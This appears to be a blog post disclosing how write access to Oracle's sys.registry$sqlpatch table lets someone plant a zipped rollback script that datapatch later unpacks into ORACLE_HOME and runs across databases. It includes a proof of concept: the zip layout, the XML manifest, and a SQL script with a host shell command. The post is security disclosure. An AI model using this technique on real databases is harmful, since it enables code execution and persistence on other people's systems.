As most software, it was written with best intentions but little knowledge how customers would use it.
One of these unforseen used case was parallel patching of multiple DBs in the same ORACLE_HOME at the same time.
Another problem was missing rollback files due to out of place patching.
Oracle addressed this in Bug 23170620.
The solution there is interesting:
the table sys.registry$sqlpatch is extended by a column patch_directory. It is a BLOB which contains the Zipped contents of patch directory.
By this patch, each database contains the sql files required to rollback a change done in the database. If datapatch does not find the proper rollback files in ORACLE_HOME/sqlpatch, it unzips the content of registry$sqlpatch.patch_directory into ORACLE_HGOME/sqlpatch and executes the scripts. For every new patch, a zip file is loaded into the table by datapatch.
With 18c an equal mechanism was introduced in sys.registry$sqlpatch_ru_info respectively DBA_REGISTRY_SQLPATCH_RU_INFO.
Only SYS can write to these tables by default, and that should be limited for some good reasons:
If anyone can write to this table with evil intentions, he can create a zipfile with a content like
.
├── 1234.xml
├── 1234_apply.sql
├── 1234_rollback.sql
└── rollback_files
└── rdbms
└── admin
├── berx_bug1234_apply.sql
└── berx_bug1234_rollback.sql
The XML contains some basic content
<?xml version="1.0" encoding="utf-8"?>
<sqlPatch ID="1234" uniquePatchID="5678" applicationPatch="NO" bundle="NO" jvm="NO" bundleSeries="NONE" bundleID="0" startupMode="normal" estimatedTime="5">
<patchDescription>berx' datapatch-escape</patchDescription>
<component>CATALOG</component>
<component>CATPROC</component>
<sqlFiles>
<file mode="rollback" new="yes" estimatedTime="5" component="CATALOG">rdbms/admin/berx_bug1234_rollback.sql</file>
<file mode="apply" new="yes" estimatedTime="5" component="CATALOG">rdbms/admin/berx_bug1234_apply.sql</file>
</sqlFiles>
</sqlPatch>
and the 1234_rollback.sql file can contain:
SET SERVEROUTPUT ON
REM Apply script for patch 1234/5678
DEFINE description = &1
DEFINE logfiledir = &2
DEFINE flags = &3
DEFINE bundle_series = &4
COLUMN sqlpatch_logfile NEW_VALUE full_logfile
SELECT '&logfiledir' || '1234_apply_' ||
CASE WHEN (sys_context('userenv', 'cdb_name') IS NULL)
THEN name
ELSE name || '_' || replace(sys_context('userenv', 'con_name'), '$')
END || TO_CHAR(systimestamp, '_YYYYMonDD_HH24_MI_SS') ||
'.log' AS sqlpatch_logfile
FROM v$database;
SPOOL &full_logfile
SET PAGESIZE 0
SELECT 'Starting rollback for patch 1234/5678 on ' ||
SYSTIMESTAMP FROM dual;
SET PAGESIZE 10
BEGIN
dbms_sqlpatch.patch_initialize(p_patch_id => 1234,
p_patch_uid => 5678,
p_flags => '&flags',
p_description => '&description',
p_action => 'APPLY',
p_logfile => '&full_logfile',
p_bundle_series => '&bundle_series');
END;
/
COLUMN install_file NEW_VALUE sql_script
ALTER SESSION SET CURRENT_SCHEMA = SYS;
SET PAGESIZE 0
SELECT 'Calling rdbms/admin/berx_bug1234_apply.sql on ' || SYSTIMESTAMP FROM dual;
SET PAGESIZE 10
PROMPT IGNORABLE ERRORS: NONE
select "berx_was_here!" from dual;
create table berx_was_here as select * from dual;
! touch /tmp/berx_was_here
BEGIN dbms_sqlpatch.patch_finalize; END;
/
SET PAGESIZE 0
SELECT 'Finished apply for patch 1234/5678 on' ||
SYSTIMESTAMP FROM dual;
SET PAGESIZE 10
SPOOL off
This specific script creates only one table and a file in /tmp but it could do worse.
At the next run of datapatch (might it be due to a regular patch session or an one-off patch with post-patching steps), will execute this script. And as the script then is located in ORACLE_HOME/sqlpatch, all other databases which instances use this ORACLE_HOME and get patched will be affected also (and get the zip-file added to their sys.registry$sqlpatch).
